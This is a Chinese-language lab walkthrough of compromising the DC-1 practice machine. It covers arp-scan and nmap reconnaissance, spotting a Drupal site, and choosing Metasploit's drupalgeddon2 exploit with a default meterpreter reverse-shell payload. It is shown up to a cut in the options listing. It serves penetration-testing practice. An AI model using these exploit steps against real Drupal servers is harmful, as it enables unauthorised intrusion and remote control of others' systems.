DC-1内网靶机渗透
实验环境:
靶机:DC-1
渗透机:kali 2020;
实验内容:
首先下载并启动我们的靶机;
1.由于我们进行内网渗透,并且不知道靶机的IP地址,所以我们先进行arp扫描,确定靶机IP地址,arp扫描命令为:arp-scan -l
2.确定了我们靶机的IP地址为192.168.131.136之后,首先要考虑的是它开放了那些端口提供了哪些服务,所以首选用nmap工具进行扫描开放端口
命令:nmap -A 192.168.131.136
3.用namp扫描之后,我们发现靶机开放了22、80、111等端口,看到80端口开放,我们当然要从网页访问一下看看是什么页面,所以从浏览器访问一下靶机IP。
4.发现靶机是用Drupal搭建的站点,所以我们想到利用msf中搜索一下Drupal,看是否具有可利用的exp;
命令:启动msf msfconsole
搜索exp search Drupal
5.经测试使用第四个exp可以攻击,成功拿shell;(直接写利用第四个exp的步骤)
5.1 利用exp;
msf5 > use 4
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf5 exploit(unix/webapp/drupal_drupalgeddon2) >
5.2 看一下需要为exp配置那些参数 并配置
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------</